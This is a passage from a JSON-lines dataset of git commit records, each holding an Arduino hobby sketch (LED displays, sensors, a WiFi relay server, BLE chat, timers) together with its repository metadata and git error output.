POWER_OFF:\n \/\/ Enter full power down sleep mode.\n \/\/ First turn off the NeoPixels.\n Serial.println(\"Power down!\");\n CircuitPlayground.strip.clear();\n CircuitPlayground.strip.show();\n powerDown = true;\n break;\n case POWER_ON:\n Serial.println(\"Power up!\");\n powerDown = false;\n break;\n }\n \/\/Restart receiver\n CircuitPlayground.irReceiver.enableIRIn(); \n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Techno_Tiki_Circuit_Playground_Express\/Techno_Tiki_Circuit_Playground_Express.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"abd5f074ebebcc1499441611b644457bc59601d2","subject":"Prueba de deteccion de una ficha","message":"Prueba de deteccion de una ficha\n","repos":"jalcaldea\/Empotrados","old_file":"test\/prueba_lectura\/prueba_lectura.ino","new_file":"test\/prueba_lectura\/prueba_lectura.ino","new_contents":"\/\/ --------------------------------------\n\/\/ Habilitar la EEPROM\n\/\/\n\n#include <Wire.h>\n\n#define GPIO 0x20\n#define MEM 0x50\n\n#define ENABLER 0x2D\n#define DIRECTION 0x1C\n\n#define R_GPORT0 0x00\n#define W_GPORT0 0x08\n\n#define R_GPORT1 0x01\n#define W_GPORT1 0x09\n\n#define PWM_SEL 0x1A\n\n#define PASS1 0x43\n#define PASS2 0x4D\n#define PASS3 0x53\n\n#define VALUE 0x02\n\n#define LASTDIR 27647\n#define NULL 0xF2\n\n#define STATUS 0x2E\n\nint turnUpEEPROM() {\n\n Wire.beginTransmission(GPIO);\n Wire.write((byte)ENABLER);\n Wire.write((byte)PASS1);\n Wire.write((byte)PASS2);\n Wire.write((byte)PASS3);\n Wire.write((byte)VALUE);\n Wire.endTransmission();\n\n return save(LASTDIR, NULL);\n\n}\n\n\nint save(unsigned int dir, byte data) {\n\n byte high = dir \/ 256;\n byte low = dir % 256;\n\n Wire.beginTransmission(MEM);\n Wire.write((byte)high);\n Wire.write((byte)low);\n Wire.write(data);\n int error = Wire.endTransmission();\n\n return error;\n\n}\n \n\nint saveData(unsigned int dir, char* data) {\n\n\n byte high = dir \/ 256;\n byte low = dir % 256;\n\n Wire.beginTransmission(MEM);\n Wire.write((byte)high);\n Wire.write((byte)low);\n Wire.write(data);\n int error = Wire.endTransmission();\n\n return error;\n\n}\n\n\nbyte read(unsigned int dir) {\n byte rdata = NULL;\n\n byte high = dir \/ 256;\n byte low = dir % 256;\n\n\n Wire.beginTransmission(MEM);\n Wire.write((byte)high);\n Wire.write((byte)low);\n Wire.endTransmission();\n\n Wire.requestFrom(MEM, 1);\n if (Wire.available()) {\n rdata = Wire.read();\n }\n\n return rdata;\n\n}\n\nvoid readData(unsigned int dir,byte* rdata, int len) {\n \n byte high = dir \/ 256;\n byte low = dir % 256;\n\n\n Wire.beginTransmission(MEM);\n Wire.write((byte)high);\n Wire.write((byte)low);\n int error = Wire.endTransmission();\n\n Wire.requestFrom(MEM, len);\n int c = 0;\n for ( c = 0; c < len; c++ ) {\n if (Wire.available()) {\n rdata[c] = Wire.read();\n }\n }\n\n}\n\nbyte readReg(byte reg){\n Wire.beginTransmission(GPIO);\n Wire.write(reg);\n Wire.endTransmission(false);\n \n byte rdata = NULL;\n \n Wire.requestFrom(GPIO,1);\n if (Wire.available()){\n rdata = Wire.read();\n }\n Wire.endTransmission();\n \n return rdata;\n}\nvoid setup(){\n \n Wire.begin();\n\n Serial.begin(9600);\n while (!Serial);\n\n Serial.print(\"Iniciando...\");\n \/*int error = turnUpEEPROM();\n\n if (error == 0) {\n Serial.println(\" OK\");\n } else {\n Serial.print(\"COD ERROR: \");\n Serial.println(error);\n }*\/\n \n}\n\nbool stat = false;\n\nvoid loop()\n{\n \n byte rdata = 0;\n \n byte dir = 16;\n \n Serial.println(\".\");\n \n rdata = readReg(dir);\n \n if(rdata!=0){\n stat = !stat;\n \n if(stat){\n Serial.print(\"ACTIVADO! \");\n \n byte aux = rdata;\n \n if((aux \/ 128)==1){\n Serial.print(\"7 \");\n }\n aux = aux % 128;\n \n if((aux \/ 64)==1){\n Serial.print(\"6 \");\n }\n aux = aux % 64;\n \n if((aux \/ 32)==1){\n Serial.print(\"5 \");\n }\n aux = aux % 32;\n \n if((aux \/ 16)==1){\n Serial.print(\"4 \");\n }\n aux = aux % 16;\n \n if((aux \/ 8)==1){\n Serial.print(\"3 \");\n }\n aux = aux % 8;\n \n if((aux \/ 4)==1){\n Serial.print(\"2 \");\n }\n aux = aux % 4;\n \n if((aux \/ 2)==1){\n Serial.print(\"1 \");\n }\n aux = aux % 2;\n \n if(aux==1){\n Serial.print(\"0\");\n }\n \n }\n }\n \n delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test\/prueba_lectura\/prueba_lectura.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"619da2fe643b2a5bede1e397aaf87b548d86da2d","subject":"First commit, let's play with NeoMatrix ! :) Implement basic functions like display grid, etc...","message":"First commit, let's play with NeoMatrix ! :)\nImplement basic functions like display grid, etc...\n","repos":"benVigie\/2048no","old_file":"_2048no\/_2048no.ino","new_file":"_2048no\/_2048no.ino","new_contents":"#include <Adafruit_GFX.h>\n#include <Adafruit_NeoMatrix.h>\n#include <Adafruit_NeoPixel.h>\n\n\n\/\/ See https:\/\/learn.adafruit.com\/adafruit-neopixel-uberguide\/neomatrix-library\nAdafruit_NeoMatrix matrix = Adafruit_NeoMatrix(8, 8, 6,\n NEO_MATRIX_TOP + NEO_MATRIX_LEFT +\n NEO_MATRIX_COLUMNS + NEO_MATRIX_PROGRESSIVE,\n NEO_GRB + NEO_KHZ800);\n\n\/\/ Game grid, a 4x4 square\nint grid[16];\n\nvoid setup() {\n \/\/ Initialyze matrix\n matrix.begin();\n matrix.setBrightness(20);\n \n \/\/ Initialyze grid and random\n memset(grid, 0, 16);\n randomSeed(analogRead(0));\n \n \/\/ Insert 2 number to start the game\n insertNumber();\n insertNumber();\n \n \/\/ Debug\n Serial.begin(9600);\n \n \/\/ Display the grid\n printGrid();\n}\n\nvoid loop() {\n \/\/printGrid();\n}\n\n\/**\n* This function display all grid frame according to their color\n*\/\nvoid printGrid() {\n uint16_t color;\n int line, col;\n \n matrix.fillScreen(0);\n \n for (int i = 0; i < 16; i++){\n color = getColor(grid[i]);\n line = i \/ 4;\n col = i % 4;\n \n matrix.drawPixel(col * 2, line * 2, color);\n matrix.drawPixel(col * 2 + 1, line * 2, color);\n matrix.drawPixel(col * 2, line * 2 + 1, color);\n matrix.drawPixel(col * 2 + 1, line * 2 + 1, color);\n }\n \n matrix.show();\n}\n\n\/**\n* Return a frame color according to its value\n*\/\nuint16_t getColor(int value) {\n uint16_t color;\n \n switch (value) {\n case 2:\n color = matrix.Color(255, 0, 0);\n break;\n case 4:\n color = matrix.Color(0, 255, 0);\n break;\n default:\n color = matrix.Color(0, 0, 0);\n }\n \n return (color);\n}\n\nvoid insertNumber() {\n long index = random(16);\n \n long number = random(100);\n \n while (grid[index] != 0) {\n index = random(16);\n }\n \n if (number < 66)\n grid[index] = 2;\n else\n grid[index] = 4;\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_2048no\/_2048no.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ea64b27306e75920cc07109a927c4211d280f4ad","subject":"added first cut esp8266 software - ready for pin check and harware test - NB debouncing is a little crude, will need hardware debounce or better software debounce (pref) for main release","message":"added first cut esp8266 software - ready for pin check and harware test - NB debouncing is a little crude, will need hardware debounce or better software debounce (pref) for main release\n","repos":"davidbebb\/wifi_mains_relay","old_file":"software\/switch_controller\/switch_controller.ino","new_file":"software\/switch_controller\/switch_controller.ino","new_contents":"\n#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n\n\nconst char* ssid = \"your network ssid\";\nconst char* password = \"your password\";\nIPAddress ip(192, 168, 0, 71); \nIPAddress gateway(192,168,1,1);\nIPAddress subnet(255,255,255,0);\n\nESP8266WebServer server(80);\n\nint relay = 10; \nint button = 11;\nint val = 0;\nint temp = 0;\nString webString = \"\";\n\nvoid handle_root() {\n server.send(200, \"text\/plain\", \"Hello. I am a mains relay. \/on or \/off\");\n delay(100);\n}\n \nvoid setup(void)\n{\n pinMode(relay, OUTPUT);\n pinMode(button, INPUT);\n \n Serial.begin(115200); \n\n \n WiFi.begin(ssid, password);\n WiFi.config(ip, gateway, subnet);\n Serial.print(\"\\n\\r \\n\\rWorking to connect\");\n\n \/\/ Wait for connection\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.print(\"Connected to \");\n Serial.println(ssid);\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n \n server.on(\"\/\", handle_root);\n \n server.on(\"\/off\", [](){ \n relayOff();\n webString = 'Off';\n server.send(200, \"text\/plain\", webString); \n });\n\n server.on(\"\/on\", [](){ \n relayOn();\n webString = 'On';\n server.send(200, \"text\/plain\", webString); \n });\n \n server.begin();\n Serial.println(\"HTTP server started\");\n}\n \nvoid loop(void)\n{\n server.handleClient();\n checkButton();\n} \n\nvoid relayOn(){\n digitalWrite(relay, HIGH);\n val = HIGH;\n}\n\nvoid relayOff(){\n digitalWrite(relay, LOW);\n val = LOW;\n}\n\nvoid checkButton(){\n \n int current = digitalRead(button);\n \n if (current == HIGH && temp != current){\n \n if (val == HIGH){\n relayOff();\n }\n \n if (val == LOW){\n relayOn();\n }\n \n temp = current;\n }\n \n if (current == LOW && temp != current){\n temp = current;\n }\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'software\/switch_controller\/switch_controller.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b5900da36c936423f5fd43d278f7daebe32336d2","subject":"integrate SGX VOC & AAS T6713","message":"integrate SGX VOC & AAS T6713\n","repos":"johnymoo\/Arduino,johnymoo\/Arduino,johnymoo\/Arduino","old_file":"IAQ\/IAQ.ino","new_file":"IAQ\/IAQ.ino","new_contents":"\/*\n MiCS-VZ-86 to read PPM\n Sample every 5 seconds\n \n This example code is in the public domain.\n \n modified 21 Jan 2015\n by Chris Wang\n *\/\n#include <Wire.h>\n\n#define ADDR_6713 0x15 \/\/ default I2C slave address\n\nint ppm = 0;\n#define PWM_PIN 3\n\nvolatile unsigned long pwm_value = 0;\nvolatile unsigned long pwm_value1 = 0;\nvolatile unsigned long pwm_value2 = 0;\nvolatile unsigned long prev_time = 0;\nint pwm_co2 = 0;\nint pwm_voc = 0;\n\nboolean channel = false;\nunsigned long tmp;\n\n\/\/ send request to read current gas measurement in ppm\n\/\/ return status: 0 success\nbyte queryPPM()\n{\n int bytes;\n\n \/\/ start I2C\n Wire.beginTransmission(ADDR_6713);\n\n \/\/ Function code = 0x04\n Wire.write(0x04);\n \/\/ Starting address (MSB) = 0x13\n Wire.write(0x13);\n \/\/ Starting address (LSB) = 0x8B\n Wire.write(0x8B);\n \/\/ Input registers to read (MSB) = 0x00\n Wire.write(0x00);\n \/\/ Input registers to read (LSB) = 0x01\n Wire.write(0x01);\n\n \/\/ end transmission\n bytes = Wire.endTransmission();\n return bytes;\n}\n\n\/\/ read report of current gas measurement in ppm\nint readPPM()\n{\n byte func_code, byte_count, MSB, LSB;\n func_code = 0;\n byte_count = 0;\n MSB = 0;\n LSB = 0;\n Wire.requestFrom(ADDR_6713, 4); \/\/ request 6 bytes from slave device \n\n while(Wire.available() == 0); \n func_code = Wire.read();\n byte_count = Wire.read();\n MSB = Wire.read(); \n LSB = Wire.read(); \n \/*Serial.print(\"Func code: \");\n Serial.println(func_code);\n Serial.print(\"byte count: \");\n Serial.println(byte_count);\n Serial.print(\"MSB: \");\n Serial.println(MSB);\n Serial.print(\"LSB: \");\n Serial.println(LSB);*\/\n \n \/\/ ppm = MSB*256 + LSB\n return ((MSB<<8)|LSB);\n}\n\n\/\/ the setup function runs once when you press reset or power the board\nvoid setup() {\n Serial.begin(115200);\n Wire.begin();\n delay(5000);\n attachInterrupt(1, rising, RISING);\n}\n\nvoid readVOC()\n{\n \/\/ make sure pwm_value 1 > pwm_value2\n if( pwm_value1 < pwm_value2 )\n {\n tmp = pwm_value1;\n pwm_value1 = pwm_value2;\n pwm_value2 = tmp;\n }\n pwm_co2 = 40*pwm_value1-1800;\n pwm_voc = 25*pwm_value2-125;\n \n \/\/Serial.print(pwm_value1);\n \/\/Serial.print(\" \");\n \/\/Serial.println(pwm_value2);\n Serial.print(\"CO2: \");\n Serial.println(pwm_co2);\n Serial.print(\"VOC: \");\n Serial.println(pwm_voc);\n}\n\n\/\/ the loop function runs over and over again forever\nvoid loop() {\n \n if( queryPPM() == 0 )\n {\n ppm = readPPM();\n \n Serial.print(\"6713 ppm: \");\n Serial.println(ppm);\n readVOC();\n\t\/\/ 6713 sample CO2 every 5 seconds\n delay(5000);\n }\n}\n\nvoid falling() {\n pwm_value = (millis() - prev_time)*3;\n if( !channel ){\n pwm_value1 = pwm_value;\n } \n else {\n pwm_value2 = pwm_value;\n }\n channel = !channel; \n attachInterrupt(1, rising, RISING);\n}\n\nvoid rising(){\n prev_time = millis();\n attachInterrupt(1, falling, FALLING);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'IAQ\/IAQ.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0053dfda9f42198f19b4d1b3994fb2d5cd242099","subject":"super simple \"ultrasonic flashlight\"","message":"super simple \"ultrasonic flashlight\"","repos":"treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches","old_file":"sonar.ino","new_file":"sonar.ino","new_contents":"int trig_pin = 6;\nint echo_pin = 7;\nlong cm;\nlong duration;\nlong distance;\nint led1 = 2;\nint led2 = 3;\nint led3 = 4;\nint led4 = 5;\nint led5 = 8;\nint led6 = 9;\n\nvoid setup() \/*this runs once after power-on *\/\n{\n pinMode(trig_pin, OUTPUT);\n pinMode(echo_pin, INPUT); \n Serial.begin(9600);\n}\n\n\nvoid loop() \/*this runs after setup() and keeps running until powerdown or completion conditions are met *\/ \n{\n if (get_distance() > 10 && get_distance() <= 200)\n{\n digitalWrite(led1, HIGH);\n digitalWrite(led2, HIGH);\n digitalWrite(led3, HIGH);\n digitalWrite(led4, HIGH);\n digitalWrite(led5, HIGH);\n digitalWrite(led6, HIGH);\n delay(100);\n} \/\/then some thing is really close, light up a bunch of LEDS\n\nif (get_distance() > 200 && get_distance() <= 400)\n {\n digitalWrite(led1, LOW);\n digitalWrite(led2, LOW);\n digitalWrite(led3, LOW);\n digitalWrite(led4, HIGH);\n digitalWrite(led5, HIGH);\n digitalWrite(led6, HIGH); \/\/ light up a moderate number of LED\n delay(100);\n }\nif (get_distance() > 400)\n{\n digitalWrite(led1, LOW);\n digitalWrite(led2, LOW);\n digitalWrite(led3, LOW);\n digitalWrite(led4, LOW);\n digitalWrite(led5, LOW);\n digitalWrite(led6, HIGH); \/\/ light up a moderate number of LED\n delay(100);} \/\/ that stuff is really far away\n}\n\nlong get_distance()\n{\n delay(10); \n \/*trigger the device*\/\n digitalWrite(trig_pin, LOW);\n delayMicroseconds(2);\n digitalWrite(trig_pin, HIGH);\n delayMicroseconds(10);\n digitalWrite(trig_pin, LOW); \n\n\/*count the time between sending and receiving becasue this is going to be the basis for our conversion to distance *\/ \n duration = pulseIn(echo_pin, HIGH);\n\n\/*convert the time in milliseconds to distance in centimeters *\/\n cm = duration\/27\/2; \/*we devide the result by two to because the observed length of the ping actually represents\n the distance to and from the sensed object*\/ \n return cm;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sonar.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c5a04b934eaef0be4df043efeea856bb3dadba05","subject":"arduino code","message":"arduino code\n","repos":"Tsiems\/mobile-sensing-apps,Tsiems\/mobile-sensing-apps,Tsiems\/mobile-sensing-apps,Tsiems\/mobile-sensing-apps,Tsiems\/mobile-sensing-apps,Tsiems\/mobile-sensing-apps","old_file":"ArduinoController\/ArduinoController.ino","new_file":"ArduinoController\/ArduinoController.ino","new_contents":"\/*\n\nCopyright (c) 2012-2014 RedBearLab\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n*\/\n\n\/*\n * Chat\n *\n * Simple chat sketch, work with the Chat iOS\/Android App.\n * Type something from the Arduino serial monitor to send\n * to the Chat App or vice verse.\n *\n *\/\n\n\/\/\"RBL_nRF8001.h\/spi.h\/boards.h\" is needed in every new project\n#include <SPI.h>\n#include <EEPROM.h>\n#include <boards.h>\n#include <RBL_nRF8001.h>\n\nconst int BTN_PIN = 4;\nconst int LED_PIN = 2;\n\nvoid setup()\n{ \n \/\/ Default pins set to 9 and 8 for REQN and RDYN\n \/\/ Set your REQN and RDYN here before ble_begin() if you need\n \/\/ble_set_pins(3, 2);\n \n \/\/ Set your BLE Shield name here, max. length 10\n ble_set_name(\"The Dopest\");\n\n \n\n pinMode(BTN_PIN,INPUT);\n\n pinMode(LED_PIN,OUTPUT);\n digitalWrite( LED_PIN, LOW );\n \n \/\/ Init. and start BLE library.\n ble_begin();\n \n \/\/ Enable serial debug\n Serial.begin(57600);\n}\n\nunsigned char buf[16] = {0};\nunsigned char len = 0;\nString command;\nint buttonState = 0;\n\nvoid loop()\n{\n \/\/read from bluetooth low energy\n if ( ble_available() )\n {\n command = \"\";\n while ( ble_available() ) {\n char c = ble_read();\n command += c; \/\/add each character to the command\n }\n Serial.println(command);\n\n if( command.substring(0,9) == \"Light ON;\" ) {\n digitalWrite( LED_PIN, HIGH );\n }\n else if ( command.substring(0,10) == \"Light OFF;\" ) {\n digitalWrite( LED_PIN, LOW );\n }\n\n \n Serial.println();\n }\n\n \/\/read from serial port\n if ( Serial.available() )\n {\n delay(5);\n \n while ( Serial.available() )\n ble_write(Serial.read());\n }\n\n\n \/\/read from button\n int newBtnState = digitalRead(BTN_PIN);\n if( newBtnState != buttonState ) {\n \n buttonState = newBtnState;\n String sendCommand = \"BTN \" + String(buttonState);\n for( int i = 0; i < sendCommand.length(); i++ ) {\n ble_write( sendCommand[i] );\n }\n }\n\n delay(10);\n \n\n \n \n ble_do_events();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduinoController\/ArduinoController.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"54df705aaf0304402e721363f8397a0f12b9dcad","subject":"Arduino\u30b3\u30fc\u30c9\u3092\u623b\u3059","message":"Arduino\u30b3\u30fc\u30c9\u3092\u623b\u3059\n\n\u306a\u3093\u304b\u6d88\u3048\u3066\u305f\n","repos":"Yasu31\/TK_1720,Yasu31\/TK_1720,Yasu31\/TK_1720,Yasu31\/TK_1720","old_file":"app\/inTheDuck\/LoverDuck.ino","new_file":"app\/inTheDuck\/LoverDuck.ino","new_contents":"#include <Adafruit_Sensor.h>\n#include <Adafruit_LSM303.h>\n#include <Wire.h>\n#include <SoftwareSerial.h>\nSoftwareSerial BT(10,11);\n\/\/RX\/TX\nAdafruit_LSM303 lsm;\nboolean isBT=false;\nString idString=\"00\";\nint tonePin=2;\n\nint buttonPin=3;\nboolean isON=false;\nint buttonState;\nint lastButtonState=HIGH;\nunsigned long lastDebounceTime=0;\nunsigned long debounceDelay=50;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n comBegin(9600);\n \/\/https:\/\/store.arduino.cc\/usa\/arduino-nano\n \/\/https:\/\/learn.adafruit.com\/lsm303-accelerometer-slash-compass-breakout\/coding\n \/\/I2C: A4 (SDA) and A5 (SCL)\n if(!lsm.begin()){\n Serial.println(\"unable to initialize the LSM303.\");\n delay(500);\n while(1);\n }\n pinMode(buttonPin, INPUT_PULLUP);\n pinMode(LED_BUILTIN, OUTPUT);\n}\n\nvoid loop() {\n \/\/ toggle on\/off states\n checkButton();\n \n if(isON){\n digitalWrite(LED_BUILTIN, HIGH);\n }else{\n digitalWrite(LED_BUILTIN, LOW);\n }\n\n \/\/ send accelerometer data once every 100ms\n processData();\n\n if(comAvailable()>0){\n int data=comRead();\n switch(data){\n case 1:\n warning();\n break;\n default:\n \/\/do nothing\n break;\n }\n }\n}\n\n\/\/toggles on\/off\n\/\/https:\/\/www.arduino.cc\/en\/Tutorial\/Debounce\nvoid checkButton(){\n int reading=digitalRead(buttonPin);\n if(reading != lastButtonState){\n lastDebounceTime=millis();\n }\n if((millis()-lastDebounceTime)>debounceDelay){\n if(reading != buttonState){\n buttonState=reading;\n if(buttonState==LOW){\n isON=!isON;\n }\n }\n }\n lastButtonState=reading;\n}\n\nunsigned long previousProcess=0;\nunsigned long sendInterval=100;\nvoid processData(){\n if((millis()-previousProcess)>sendInterval){\n float data[6];\n getData(data);\n sendLSMData(data);\n previousProcess=millis();\n }\n}\n\nvoid getData(float data[]){\n lsm.read();\n data[0]=(float)lsm.accelData.x;\n data[1]=(float)lsm.accelData.y;\n data[2]=(float)lsm.accelData.z;\n data[3]=(float)lsm.magData.x;\n data[4]=(float)lsm.magData.y;\n data[5]=(float)lsm.magData.z;\n}\n\nvoid sendLSMData(float data[]){\n mySend(\"x\"+(String)data[0]);\n mySend(\"y\"+(String)data[1]);\n mySend(\"z\"+(String)data[2]);\n}\n\nvoid comBegin(int speed){\n if(isBT){\n \/\/passkey is 1234\n BT.begin(speed);\n }\n else{\n Serial.begin(speed);\n }\n}\n\nvoid mySend(String s){\n \/\/add device ID\n s=idString+s;\n if(isBT){\n BT.println(s);\n }\n else{\n Serial.println(s);\n }\n}\n\nboolean comAvailable(){\n boolean value;\n if(isBT){\n value=BT.available(); \n }\n else{\n value=Serial.available();\n }\n return value;\n}\n\nint comRead(){\n int value;\n if(isBT){\n value=BT.parseInt();\n }\n else{\n value=Serial.parseInt();\n }\n return value;\n}\n\nvoid warning(){\n for(int i=0; i<4; i++){\n tone(tonePin, 900);\n delay(500);\n tone(tonePin, 700);\n delay(250);\n }\n noTone(tonePin);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'app\/inTheDuck\/LoverDuck.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7aee471b12d9f086adf0a049ddf19340cebfd3ca","subject":"bug. restart if amount of temp sensors=0","message":"bug. restart if amount of temp sensors=0\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/ha_mqtt_sensors_temp_and_switch\/ha_mqtt_sensors_temp_and_switch.ino","new_file":"modules\/ha_mqtt_sensors_temp_and_switch\/ha_mqtt_sensors_temp_and_switch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9bce8f8962e99e6b78235f7da70edd46bfcd4c24","subject":":new::file_folder::electric_plug:","message":":new::file_folder::electric_plug:\n","repos":"liam-middlebrook\/dancepad","old_file":"arduino\/ddr_pad\/ddr_pad.ino","new_file":"arduino\/ddr_pad\/ddr_pad.ino","new_contents":"\/\/ pins for the LEDs:\nconst int redPin = 13;\nconst int buttonPin = 2;\n\nvoid setup() {\n \/\/ initialize serial:\n Serial.begin(9600);\n \/\/ make the pins outputs:\n pinMode(redPin, OUTPUT); \n pinMode(buttonPin, INPUT); \n}\n\nvoid loop(){}\nvoid serialEvent()\n{\n char charX= Serial.read();\n digitalWrite(redPin, charX == '1' ? HIGH : LOW);\n \n Serial.write(digitalRead(buttonPin) == HIGH ? 'A' : 'B');\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/ddr_pad\/ddr_pad.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a101a341fd6ba283288f7814e0832fadaac45e94","subject":"Fixed #5. Added MultiBlink example.","message":"Fixed #5. Added MultiBlink example.\n","repos":"rablack\/SimpleTimeout","old_file":"examples\/MultiBlink\/MultiBlink.ino","new_file":"examples\/MultiBlink\/MultiBlink.ino","new_contents":"\/\/ MultiBlink\n\/\/\n\/\/ Blink multiple LEDs at frequencies that are not related\n\/\/ to each other. This is a demonstration of using SimpleTimeout\n\/\/ to provide a non-blocking delay.\n\n#include <SimpleTimeout.h>\n\n\/\/ Set the pins connected to the LEDs to blink\nconstexpr int led1Pin = 12;\nconstexpr int led2Pin = 13;\n\n\/\/ Define flash delays in milliseconds\nconstexpr long led1Delay = 1000;\nconstexpr long led2Delay = 620;\n\nbool led1High = false;\nbool led2High = false;\n\n\/\/ The delays default to 0 ms. They will timeout\n\/\/ as soon as loop() checks expired().\n\nSimpleTimeout delay1;\nSimpleTimeout delay2;\n\nvoid setup() {\n pinMode(led1Pin, OUTPUT);\n pinMode(led2Pin, OUTPUT);\n}\n\nvoid loop() {\n \/\/ LED 1: Check the state\n if (delay1.expired()) {\n \/\/ Invert the state and update the LED\n led1High = !led1High;\n digitalWrite(led1Pin, led1High ? HIGH : LOW);\n\n \/\/ Start the timing again\n delay1.restart(led1Delay);\n }\n\n \/\/ LED 2: Check the state\n if (delay2.expired()) {\n \/\/ Invert the state and update the LED\n led2High = !led2High;\n digitalWrite(led2Pin, led2High ? HIGH : LOW);\n\n \/\/ Start the timing again\n delay2.restart(led2Delay);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/MultiBlink\/MultiBlink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a76479d1d1c700353153d45583e58b8ba48d7117","subject":"Serial tester example","message":"Serial tester example\n","repos":"aarcro\/arduino-cvseq","old_file":"examples\/cvseq_test\/cvseq_test.ino","new_file":"examples\/cvseq_test\/cvseq_test.ino","new_contents":"#include <CvSeq.h>\n\n#define LED_PIN 13\n\nCvSeq seq(\n 2, \/\/ int top_active\n 3, \/\/ int bot_active\n 0, \/\/ int top_in\n 1 \/\/ int bot_in\n);\n\nvoid setup() {\n pinMode(LED_PIN, OUTPUT);\n\n \/\/ put your setup code here, to run once:\n pinMode(5, OUTPUT);\n pinMode(6, OUTPUT);\n Serial.begin(9600);\n}\n\nvoid loop() {\n int data;\n\n \/\/ put your main code here, to run repeatedly:\n digitalWrite(LED_PIN, !digitalRead(LED_PIN));\n\n if (Serial.available() > 0) {\n \/\/ Adjust for ASCII offset\n data = Serial.read() - 48;\n Serial.println(\" Data: \" + String(data));\n\n switch(data) {\n case 1:\n seq.setLoop();\n Serial.println(\"FWD\");\n break;\n case 2:\n seq.setReverse();\n Serial.println(\"RWD\");\n break;\n case 3:\n seq.setPingPong();\n Serial.println(\"PingPong\");\n break;\n case 8:\n seq.setTwoEights();\n Serial.println(\"Two by Eight\");\n break;\n case 16:\n seq.setOneSixteen();\n Serial.println(\"One by Sixteen\");\n break;\n }\n }\n\n int note = seq.step();\n Serial.println(\n \"Step: \" + String(seq.getStep()) +\n \" Primary: \" + String(note) +\n \" Secondary: \" + String(seq.getSecondary())\n );\n \/\/ TODO Tempo factor\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/cvseq_test\/cvseq_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7c4b7fc4734b5428ba14953db7ff9ef5edb62aed","subject":"Add Circuit 7","message":"Add Circuit 7\n","repos":"CyberPatriot\/Arduino-Camp","old_file":"circuit_code\/Circuit_07.ino","new_file":"circuit_code\/Circuit_07.ino","new_contents":"\/*\n\nExample sketch 07\n\nTEMPERATURE SENSOR\n\n Use the \"serial monitor\" window to read a temperature sensor.\n \n The TMP36 is an easy-to-use temperature sensor that outputs\n a voltage that's proportional to the ambient temperature.\n You can use it for all kinds of automation tasks where you'd\n like to know or control the temperature of something.\n \n More information on the sensor is available in the datasheet:\n http:\/\/dlnmh9ip6v2uc.cloudfront.net\/datasheets\/Sensors\/Temp\/TMP35_36_37.pdf\n\n Even more exciting, we'll start using the Arduino's serial port\n to send data back to your main computer! Up until now, we've \n been limited to using simple LEDs for output. We'll see that\n the Arduino can also easily output all kinds of text and data.\n \nHardware connections:\n\n Be careful when installing the temperature sensor, as it is\n almost identical to the transistors! The one you want has \n a triangle logo and \"TMP\" in very tiny letters. The\n ones you DON'T want will have \"222\" on them.\n\n When looking at the flat side of the temperature sensor\n with the pins down, from left to right the pins are:\n 5V, SIGNAL, and GND.\n \n Connect the 5V pin to 5 Volts (5V).\n Connect the SIGNAL pin to ANALOG pin 0.\n Connect the GND pin to ground (GND).\n\nThis sketch was written by SparkFun Electronics,\nwith lots of help from the Arduino community.\nThis code is completely free for any use.\nVisit http:\/\/www.arduino.cc to learn about the Arduino.\n\nVersion 